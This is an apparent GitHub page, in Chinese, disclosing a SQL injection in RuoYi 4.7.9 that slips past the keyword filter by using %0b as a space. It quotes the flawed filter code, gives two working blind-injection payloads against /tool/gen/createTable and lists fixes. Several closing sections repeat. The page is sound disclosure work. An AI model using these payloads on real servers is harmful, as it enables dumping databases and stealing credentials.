mrlihd/CVE-2024-57521-SQL-Injection-PoC
GitHub: mrlihd/CVE-2024-57521-SQL-Injection-PoC
针对RuoYi框架4.7.9版本认证SQL注入漏洞的PoC,演示通过%0b字符绕过正则过滤实现盲注利用。
Stars: 0 | Forks: 0
# RuoYi v4.7.9 中的认证 SQL 注入(CVE-2024-42900 的绕过)
## 简介
我在 RuoYi Framework v4.7.9 的 `createTable` 功能中发现了一个盲注 SQL 注入漏洞。这允许经过认证的管理员通过 `sql` 参数执行任意 SQL 命令。这是对 CVE-2024-42900 修复的绕过,因为 `filterKeyword` 方法中的 SQL 注入过滤器不足,可以通过使用 `%0b` 作为空格的替代字符来绕过正则表达式。
## 受影响版本
产品:RuoYi Framework
版本:≤ 4.7.9
链接:[[Ruoyi]](https://github.com/yangzongzhuan/RuoYi)
## 漏洞分析
该漏洞位于 `https://github.com/yangzongzhuan/RuoYi/blob/master/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java` 文件中,如下所示。应用程序依赖黑名单关键字来过滤 SQL 注入攻击,这种方法容易被绕过。在这种情况下,为了修复 CVE-2024-42900,黑名单中添加了 `/*` 字符串,但应用程序仍然没有阻止 `%0b` 字符,因此我可以使用 `select%0b` 触发 SQL 注入。
```
public class SqlUtil
{
/**
* 定义常用的 sql关键字
*/
public static String SQL_REGEX = "and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()";
// Note the space after 'select '
public static void filterKeyword(String value)
{
if (StringUtils.isEmpty(value))
{
return;
}
String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|");
for (String sqlKeyword : sqlKeywords)
{
if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1)
{
throw new UtilException("参数存在SQL注入风险");
}
}
}
}
```
正则表达式 select 匹配 `select `(后跟一个空格)。它无法匹配 `select%0b`,而这是 SQL 中有效的分隔符。
## 布尔 SQL 注入复现步骤
1. 以 admin 身份登录
2. 发送 createTable 请求(易受攻击的端点 `/tool/gen/createTable`)
a. 注入一个 TRUE 查询:

sql=CREATE%20table%20j2iz96_666%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c18%2c1))%3d45%2c%201%2c%201%2f0)%3b
b. 注入一个 FALSE 查询:

sql=CREATE%20table%20j2iz96_665%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c5%2c1))%3d44%2c%201%2c%201%2f0)%3b
**注意**:每次成功查询后需要在 CREATE 查询中更改表名。
3. 利用布尔型 SQL 注入,可以使用本仓库中的 Python [[poc]](https://github.com/mrlihd/Ruoyi-4.7.9-SQL-Injection-PoC/blob/main/ruoyi-sqli-poc.py) 窃取数据
**用法**
**窃取数据库版本 PoC**
## 影响
拥有管理员权限的攻击者可以转储整个数据库,包括其他用户的凭据和系统配置。
## 建议
1. 过滤 `%0b` 字符。
2. 过滤关键字 `select` 而不是 `select `(移除末尾空格)
3. 将 CMS 更新到 Ruoyi CMS 的 4.8.0 版本
**窃取数据库版本 PoC**
## 影响
拥有管理员权限的攻击者可以转储整个数据库,包括其他用户的凭据和系统配置。
## 建议
1. 过滤 `%0b` 字符。
2. 过滤关键字 `select` 而不是 `select `(移除末尾空格)
3. 将 CMS 更新到 Ruoyi CMS 的 4.8.0 版本标签:CISA项目, CVE-2024-42900, GHAS, Java安全, JS文件枚举, PNNL实验室, RuoYi, SQL过滤, WAF绕过, Web安全, 安全漏洞, 正则绕过, 漏洞复现, 演示模式, 白盒测试, 盲注, 若依框架, 蓝队分析, 输入验证绕过, 逆向工具